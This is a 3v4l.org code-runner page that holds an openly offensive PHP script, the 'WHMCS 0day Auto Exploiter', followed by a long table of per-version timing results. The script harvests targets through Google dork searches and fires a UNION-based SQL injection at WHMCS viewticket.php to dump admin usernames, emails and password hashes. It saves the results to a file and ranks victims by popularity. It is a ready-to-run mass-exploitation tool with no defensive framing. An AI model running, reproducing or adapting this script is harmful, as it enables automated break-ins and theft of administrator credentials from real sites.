3v4l.org

run code in 300+ PHP versions simultaneously
<?php /* ***************************************************** WHMCS 0day Auto Exploiter <= 5.2.8 Coded by g00n - Skype: t3hg00n wwww.xploiter.net ***************************************************** */ set_time_limit(0); ini_set('memory_limit', '64M'); header('Content-Type: text/html; charset=UTF-8'); function letItBy(){ ob_flush(); flush(); } function getAlexa($url) { $xml = simplexml_load_file('http://data.alexa.com/data?cli=10&dat=snbamz&url='.$url); $rank1 = $xml->SD[1]; if($rank1) $rank = $rank1->POPULARITY->attributes()->TEXT; else $rank = 0; return $rank; } function google_that($query, $page=1) { $resultPerPage=8; $start = $page*$resultPerPage; $url = "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&hl=iw&rsz={$resultPerPage}&start={$start}&q=" . urlencode($query); $resultFromGoogle = json_decode( http_get($url, true) ,true); if(isset($resultFromGoogle['responseStatus'])) { if($resultFromGoogle['responseStatus'] != '200') return false; if(sizeof($resultFromGoogle['responseData']['results']) == 0) return false; else return $resultFromGoogle['responseData']['results']; } else die('The function <b>' . __FUNCTION__ . '</b> Kill me :( <br>' . $url ); } function http_get($url, $safemode = false){ if($safemode === true) sleep(1); $im = curl_init($url); curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($im, CURLOPT_HEADER, 0); return curl_exec($im); curl_close(); } function check_vuln($url) { $url = dirname($url) . '/viewticket.php'; $url = str_replace("/admin","",$url); $post = "tid[sqltype]=TABLEJOIN&tid[value]=-1 union select 1,0,0,0,0,0,0,0,0,0,0,(SELECT GROUP_CONCAT(0x3a3a3a3a3a,id,0x3a,username,0x3a,email,0x3a,password,0x3a3a3a3a3a​) FROM tbladmins),0,0,0,0,0,0,0,0,0,0,0#"; $curl_connection = curl_init($url); if($curl_connection != false) { curl_setopt($curl_connection, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($curl_connection, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"); curl_setopt($curl_connection, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl_connection, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl_connection, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($curl_connection, CURLOPT_POSTFIELDS, $post); $source = curl_exec($curl_connection); preg_match_all('/:::::(.*?):::::/s',$source,$infoz); if($infoz[0]) { return $infoz[0]; } else return "Fail!"; } else return "Fail!"; } ?> <html> <head> <title>WHMCS Auto Xploiter - by g00n</title> </head> <body style="background-image: url('http://i.imgur.com/zHNCk2e.gif'); background-repeat: repeat; background-position: center; background-attachment: fixed;"> <STYLE> textarea{background-color:#105700;color:lime;font-weight:bold;font-size: 20px;font-family: Tahoma; border: 1px solid #000000;} input{FONT-WEIGHT:normal;background-color: #105700;font-size: 15px;font-weight:bold;color: lime; font-family: Tahoma; border: 1px solid #666666;height:20} body { font-family: Tahoma } tr { BORDER: dashed 1px #333; color: #FFF; } td { BORDER: dashed 1px #333; color: #FFF; } .table1 { BORDER: 0px Black; BACKGROUND-COLOR: Black; color: #FFF; } .td1 { BORDER: 0px; BORDER-COLOR: #333333; font: 7pt Verdana; color: Green; } .tr1 { BORDER: 0px; BORDER-COLOR: #333333; color: #FFF; } table { BORDER: dashed 1px #333; BORDER-COLOR: #333333; BACKGROUND-COLOR: Black; color: #FFF; } input { border : dashed 1px; border-color : #333; BACKGROUND-COLOR: Black; font: 8pt Verdana; color: Red; } select { BORDER-RIGHT: Black 1px solid; BORDER-TOP: #DF0000 1px solid; BORDER-LEFT: #DF0000 1px solid; BORDER-BOTTOM: Black 1px solid; BORDER-color: #FFF; BACKGROUND-COLOR: Black; font: 8pt Verdana; color: Red; } submit { BORDER: buttonhighlight 2px outset; BACKGROUND-COLOR: Black; width: 30%; color: #FFF; } textarea { border : dashed 1px #333; BACKGROUND-COLOR: Black; font: Fixedsys bold; color: #999; } BODY { SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #FFF; SCROLLBAR-SHADOW-color: #FFF; SCROLLBAR-3DLIGHT-color: #FFF; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #FFF; SCROLLBAR-DARKSHADOW-color: #FFF margin: 1px; color: Red; background-color: Black; } .main { margin : -287px 0px 0px -490px; BORDER: dashed 1px #333; BORDER-COLOR: #333333; } .tt { background-color: Black; } A:link { COLOR: White; TEXT-DECORATION: none } A:visited { COLOR: White; TEXT-DECORATION: none } A:hover { color: Red; TEXT-DECORATION: none } A:active { color: Red; TEXT-DECORATION: none } #result{margin:10px;} #result span{display:block;} #result .Y{background-color:green;} #result .X{background-color:red;} </STYLE> <script language=\'javascript\'> function hide_div(id) { document.getElementById(id).style.display = \'none\'; document.cookie=id+\'=0;\'; } function show_div(id) { document.getElementById(id).style.display = \'block\'; document.cookie=id+\'=1;\'; } function change_divst(id) { if (document.getElementById(id).style.display == \'none\') show_div(id); else hide_div(id); } </script> </td></table></tr> <br> <br> <link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Audiowide"> <style> body { font-family: 'Audiowide', serif; font-size: 30px; } </style> </head> <body onLoad="type_text()" ; bgColor=#000000 text=#00FFFF background="Fashion fuchsia"> <center> <font face="Audiowide" color="red">WHMCS Auto Xploiter <font color="green">(0day)</font> <br> <font color="white" size="4">[For WHMCS ver. <= </font><font color="green" size="4">5.2.8</font><font color="white" size="4">]</font> </font> <br><br> <table border=1 bordercolor=red> <tr> <td width="700"> <br /> <center> <form method="post"> Google Dork: &nbsp;&nbsp; <input type="text" id="dork" size="30" name="dork" value="<?php echo (isset($_POST['dork']{0})) ? htmlentities($_POST['dork']) : 'inurl:submitticket.php'; ?>" /> &nbsp;&nbsp;<input type="submit" value="Xploit!" id="button"/> </form> <?php if(isset($_POST['dork']{0})) { $file = fopen("WMCS-Hashes.txt","a"); echo '<br /><div id="result"><b>Scanning has been started... Good luck! ;)</b><br><br>'; letItBy(); for($googlePage = 1; $googlePage <= 50; $googlePage++) { $googleResult = google_that($_POST['dork'], $googlePage); if(!$googleResult) { echo 'Finished scanning.'; fclose($file); break; } for($victim = 0; $victim < sizeof($googleResult); $victim++){ $result = check_vuln($googleResult[$victim]['unescapedUrl']); $alexa = getAlexa($googleResult[$victim]['unescapedUrl']); if($result != "Fail!") { $hashes = ""; foreach ($result as $record) { $hashes = $hashes . str_replace(':::::','',$record) . "\n"; } $sep = "========================================================\n"; $data = $sep . $googleResult[$victim]['unescapedUrl'] . " - Alexa: " .$alexa. "\n" . $sep . $hashes . "\n"; fwrite($file,$data); echo "<br /><font color=\"green\">Successfully Xploited...</font>"; echo '<span class="Y">'; echo "<pre>" . $data . "</pre></span><br />"; } else { echo '<span class="X">'; echo "<a href=\"{$googleResult[$victim]['unescapedUrl']}\" target='_blank'>{$googleResult[$victim]['titleNoFormatting']}</a> - <font color=\"black\">Failed!</font>"; echo "</span>\n<br />"; } letItBy(); } } echo '</div>'; } ?> </center> </td> </table> <br /><br /> <font face="Audiowide" color="red" size="2"> Coded by: <font color="white">g00n</font> <font color="white">|</font> Skype: <font color="white"><a href="Skype:t3hg00n">t3hg00n</a></font><br /><br /> <br > <font color="green">For more tools/scripts/exploits/etc.</font> <br />visit <a href="http://xploiter.net" target="_blank" style="text-decoration: none;">www.Xploiter.net</a> </font> </center> </body> </html>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00818.40
8.3.50.0050.01422.03
8.3.40.0100.00718.75
8.3.30.0070.00720.33
8.3.20.0050.00318.60
8.3.10.0050.00321.14
8.3.00.0050.00319.66
8.2.180.0070.01116.75
8.2.170.0070.00722.96
8.2.160.0110.00420.51
8.2.150.0000.00824.18
8.2.140.0040.00424.66
8.2.130.0070.00026.16
8.2.120.0040.00419.85
8.2.110.0060.00619.27
8.2.100.0080.00418.03
8.2.90.0000.00919.35
8.2.80.0060.00319.59
8.2.70.0030.00517.63
8.2.60.0030.00618.05
8.2.50.0030.00618.07
8.2.40.0040.00419.76
8.2.30.0060.00319.48
8.2.20.0000.00717.82
8.2.10.0030.00617.71
8.2.00.0030.00717.77
8.1.270.0040.00423.99
8.1.260.0030.00526.35
8.1.250.0050.00328.09
8.1.240.0090.00320.80
8.1.230.0110.00021.10
8.1.220.0000.00818.77
8.1.210.0030.00519.09
8.1.200.0000.01017.47
8.1.190.0000.00817.63
8.1.180.0080.00018.10
8.1.170.0030.00518.65
8.1.160.0040.00418.97
8.1.150.0080.00018.73
8.1.140.0030.00617.40
8.1.130.0030.00317.91
8.1.120.0030.00617.39
8.1.110.0030.00517.50
8.1.100.0000.00717.51
8.1.90.0070.00017.37
8.1.80.0000.00717.48
8.1.70.0000.00717.51
8.1.60.0030.00617.62
8.1.50.0000.00817.41
8.1.40.0060.00317.46
8.1.30.0040.00417.59
8.1.20.0040.00417.53
8.1.10.0040.00417.63
8.1.00.0050.00417.51
8.0.300.0000.00919.76
8.0.290.0000.00716.93
8.0.280.0080.00018.48
8.0.270.0070.00017.91
8.0.260.0030.00316.91
8.0.250.0040.00417.04
8.0.240.0050.00316.96
8.0.230.0000.00716.88
8.0.220.0000.00716.83
8.0.210.0030.00316.88
8.0.200.0030.00316.88
8.0.190.0040.00417.04
8.0.180.0080.00016.94
8.0.170.0000.00716.90
8.0.160.0030.00516.86
8.0.150.0000.00816.96
8.0.140.0050.00216.78
8.0.130.0000.00613.32
8.0.120.0050.00315.07
8.0.110.0020.00615.07
8.0.100.0040.00415.14
8.0.90.0000.00815.07
8.0.80.0070.00715.07
8.0.70.0040.00415.12
8.0.60.0020.00615.15
8.0.50.0050.00315.04
8.0.30.0100.00615.92
8.0.20.0100.00516.08
8.0.10.0030.00515.27
8.0.00.0060.01015.63
7.4.330.0050.00016.78
7.4.320.0030.00316.52
7.4.300.0030.00316.67
7.4.290.0040.00416.61
7.4.280.0070.00016.62
7.4.270.0030.00316.46
7.4.260.0050.00013.37
7.4.250.0030.00314.92
7.4.240.0020.00614.73
7.4.230.0040.00414.91
7.4.220.0050.00914.80
7.4.210.0080.00715.90
7.4.200.0050.00314.57
7.4.190.0040.00414.81
7.4.180.0000.00713.36
7.4.160.0130.00014.88
7.4.150.0040.00915.38
7.4.140.0100.00416.31
7.4.130.0090.00815.36
7.4.120.0100.00515.44
7.4.110.0100.00514.77
7.4.100.0090.00415.00
7.4.90.0100.00414.95
7.4.80.0060.00716.26
7.4.70.0070.00614.95
7.4.60.0060.00614.83
7.4.50.0040.00414.84
7.4.40.0040.00917.96
7.4.30.0070.00714.87
7.4.20.0100.00013.20
7.4.10.0060.00313.24
7.4.00.0030.00814.03
7.3.330.0030.00313.37
7.3.320.0060.00013.17
7.3.310.0020.00614.79
7.3.300.0070.00014.67
7.3.290.0060.00414.76
7.3.280.0060.01015.57
7.3.270.0040.00915.39
7.3.260.0070.00916.98
7.3.250.0080.00615.41
7.3.240.0070.00814.85
7.3.230.0040.00814.79
7.3.220.0080.00013.37
7.3.210.0050.00714.79
7.3.200.0040.00814.78
7.3.190.0090.00614.71
7.3.180.0060.00714.82
7.3.170.0050.00814.83
7.3.160.0050.01214.95
7.3.150.0070.00313.29
7.3.140.0040.00413.29
7.3.130.0030.00313.12
7.3.120.0060.00614.03
7.3.110.0100.00214.07
7.3.100.0040.00713.84
7.3.90.0010.00714.24
7.3.80.0080.00314.17
7.3.70.0050.00314.14
7.3.60.0050.00514.12
7.3.50.0040.00414.12
7.3.40.0070.00314.16
7.3.30.0030.00714.14
7.3.20.0050.00615.89
7.3.10.0070.00515.88
7.3.00.0020.00915.98
7.2.340.0090.00313.39
7.2.330.0090.00814.96
7.2.320.0130.00215.07
7.2.310.0100.00715.02
7.2.300.0080.00614.91
7.2.290.0090.00515.04
7.2.280.0040.00813.23
7.2.270.0040.00813.23
7.2.260.0120.00013.39
7.2.250.0040.00813.32
7.2.240.0110.00514.29
7.2.230.0090.00614.21
7.2.220.0070.00414.13
7.2.210.0060.00714.31
7.2.200.0060.00714.30
7.2.190.0050.00814.24
7.2.180.0060.00814.20
7.2.170.0100.00414.20
7.2.160.0120.00414.31
7.2.150.0100.00715.94
7.2.140.0050.00716.07
7.2.130.0080.00516.20
7.2.120.0030.01116.08
7.2.110.0120.00216.13
7.2.100.0100.00416.17
7.2.90.0100.00616.17
7.2.80.0080.00316.08
7.2.70.0090.00515.98
7.2.60.0070.00616.06
7.2.50.0110.00316.07
7.2.40.0070.00715.93
7.2.30.0020.01016.16
7.2.20.0070.00616.13
7.2.10.0070.00716.19
7.2.00.0080.00517.13
7.1.330.0060.00814.94
7.1.320.0090.00515.02
7.1.310.0120.00215.10
7.1.300.0070.00514.91
7.1.290.0090.00515.02
7.1.280.0080.00515.13
7.1.270.0070.00914.87
7.1.260.0110.00214.91
7.1.250.0080.00614.96
7.1.240.0060.00614.13
7.1.230.0110.00214.15
7.1.220.0100.00314.27
7.1.210.0110.00314.27
7.1.200.0100.00314.33
7.1.190.0080.00514.27
7.1.180.0110.00214.27
7.1.170.0130.00014.30
7.1.160.0100.00314.05
7.1.150.0090.00314.16
7.1.140.0000.01214.10
7.1.130.0110.00314.20
7.1.120.0070.00714.27
7.1.110.0060.00614.15
7.1.100.0100.00316.19
7.1.90.0130.00014.18
7.1.80.0120.00014.24
7.1.70.0060.00615.56
7.1.60.0080.00415.73
7.1.50.0060.00615.52
7.1.40.0090.00515.21
7.1.30.0080.00515.30
7.1.20.0040.01015.37
7.1.10.0060.00715.39
7.1.00.0050.00615.47
7.0.330.0120.00314.00
7.0.320.0130.00013.91
7.0.310.0030.00914.07
7.0.300.0090.00214.01
7.0.290.0090.00514.06
7.0.280.0130.00013.95
7.0.270.0060.00614.05
7.0.260.0070.00413.98
7.0.250.0120.00014.25
7.0.240.0100.00314.00
7.0.230.0090.00314.25
7.0.220.0060.00614.12
7.0.210.0080.00414.18
7.0.200.0050.00615.32
7.0.190.0040.00615.29
7.0.180.0050.00515.17
7.0.170.0070.00315.17
7.0.160.0080.00315.13
7.0.150.0080.00515.08
7.0.140.0050.00715.01
7.0.130.0040.00615.38
7.0.120.0070.00215.22
7.0.110.0070.00515.23
7.0.100.0070.00315.19
7.0.90.0070.00415.19
7.0.80.0070.00315.14
7.0.70.0090.00315.03
7.0.60.0070.00314.94
7.0.50.0060.00315.13
7.0.40.0060.00514.78
7.0.30.0020.00814.77
7.0.20.0070.00314.81
7.0.10.0080.00414.83
7.0.00.0060.00614.82
5.6.400.0000.01212.76
5.6.390.0120.00012.83
5.6.380.0100.00312.78
5.6.370.0090.00312.76
5.6.360.0090.00212.63
5.6.350.0080.00312.68
5.6.340.0100.00312.93
5.6.330.0090.00512.79
5.6.320.0080.00312.63
5.6.310.0040.00812.53
5.6.300.0100.02116.70
5.6.290.0120.02316.72
5.6.280.0060.02516.78
5.6.270.0090.02216.75
5.6.260.0060.02316.88
5.6.250.0040.02816.85
5.6.240.0070.02516.80
5.6.230.0060.02616.80
5.6.220.0060.02416.97
5.6.210.0030.03216.84
5.6.200.0060.02517.04
5.6.190.0050.03017.00
5.6.180.0080.02316.91
5.6.170.0070.02216.82
5.6.160.0090.02216.94
5.6.150.0050.02716.78
5.6.140.0090.02616.94
5.6.130.0080.02316.84
5.6.120.0100.02216.92
5.6.110.0070.02317.01
5.6.100.0110.02116.79
5.6.90.0080.04116.82
5.6.80.0060.02416.49
5.6.70.0050.02316.66
5.6.60.0120.02216.59
5.6.50.0090.02016.63
5.6.40.0100.01816.41
5.6.30.0110.01816.64
5.6.20.0050.02716.65
5.6.10.0070.02716.50
5.6.00.0070.02216.50
5.5.380.0060.02415.19
5.5.370.0040.02815.15
5.5.360.0080.02315.13
5.5.350.0060.02715.07
5.5.340.0040.02415.48
5.5.330.0090.04415.38
5.5.320.0110.02715.19
5.5.310.0090.02315.30
5.5.300.0090.01915.44
5.5.290.0210.01515.26
5.5.280.0110.03215.38
5.5.270.0080.02515.37
5.5.260.0050.02615.43
5.5.250.0030.02715.42
5.5.240.0110.01815.12
5.5.230.0070.02415.14
5.5.220.0050.02315.13
5.5.210.0070.02015.10
5.5.200.0090.01914.93
5.5.190.0060.02614.99
5.5.180.0060.02614.95
5.5.170.0070.00512.30
5.5.160.0030.02414.90
5.5.150.0070.02114.88
5.5.140.0070.01914.87
5.5.130.0110.03014.79
5.5.120.0070.02414.88
5.5.110.0080.02115.02
5.5.100.0040.03014.95
5.5.90.0050.02515.09
5.5.80.0100.01615.16
5.5.70.0070.02614.92
5.5.60.0120.02215.00
5.5.50.0030.02814.79
5.5.40.0040.02714.88
5.5.30.0020.02715.05
5.5.20.0040.02415.00
5.5.10.0050.02114.77
5.5.00.0080.02414.74
5.4.450.0080.02616.08
5.4.440.0030.03016.07
5.4.430.0070.02115.99
5.4.420.0070.02616.10
5.4.410.0070.02016.00
5.4.400.0060.02315.87
5.4.390.0090.02015.85
5.4.380.0020.02515.89
5.4.370.0070.02115.86
5.4.360.0080.01915.81
5.4.350.0060.02715.81
5.4.340.0020.03015.67
5.4.330.0090.00212.67
5.4.320.0060.02115.99
5.4.310.0050.02116.01
5.4.300.0070.02915.87
5.4.290.0070.03315.89
5.4.280.0110.01715.86
5.4.270.0060.02315.76
5.4.260.0080.02015.80
5.4.250.0050.02215.75
5.4.240.0070.02515.74
5.4.230.0070.02015.66
5.4.220.0060.02115.70
5.4.210.0070.02315.80
5.4.200.0040.02315.83
5.4.190.0060.02115.74
5.4.180.0040.02415.67
5.4.170.0070.02015.87
5.4.160.0070.01915.91
5.4.150.0090.02515.86
5.4.140.0100.01814.56
5.4.130.0050.02114.55
5.4.120.0070.02714.55
5.4.110.0070.03414.71
5.4.100.0040.03314.61
5.4.90.0050.01914.53
5.4.80.0040.02214.70
5.4.70.0060.02014.71
5.4.60.0060.02614.70
5.4.50.0100.02114.65
5.4.40.0090.02114.71
5.4.30.0030.02314.71
5.4.20.0050.02214.70
5.4.10.0060.02214.61
5.4.00.0070.01914.40
5.3.290.0060.02014.43
5.3.280.0060.02414.25
5.3.270.0070.02314.36
5.3.260.0020.02914.34
5.3.250.0030.02514.40
5.3.240.0070.02214.19
5.3.230.0090.03114.32
5.3.220.0050.02414.21
5.3.210.0090.01814.28
5.3.200.0070.01914.24
5.3.190.0050.02614.33
5.3.180.0070.02414.43
5.3.170.0040.02114.28
5.3.160.0060.03314.39
5.3.150.0070.03914.43
5.3.140.0090.01814.31
5.3.130.0060.02714.25
5.3.120.0040.02414.33
5.3.110.0030.02314.32
5.3.100.0030.02414.41
5.3.90.0070.02114.31
5.3.80.0070.01914.16
5.3.70.0040.02214.26
5.3.60.0060.02114.34
5.3.50.0030.02314.23
5.3.40.0020.02414.21
5.3.30.0100.01914.33
5.3.20.0090.03014.18
5.3.10.0040.02514.11
5.3.00.0070.03114.20

preferences:
57.04 ms | 400 KiB | 5 Q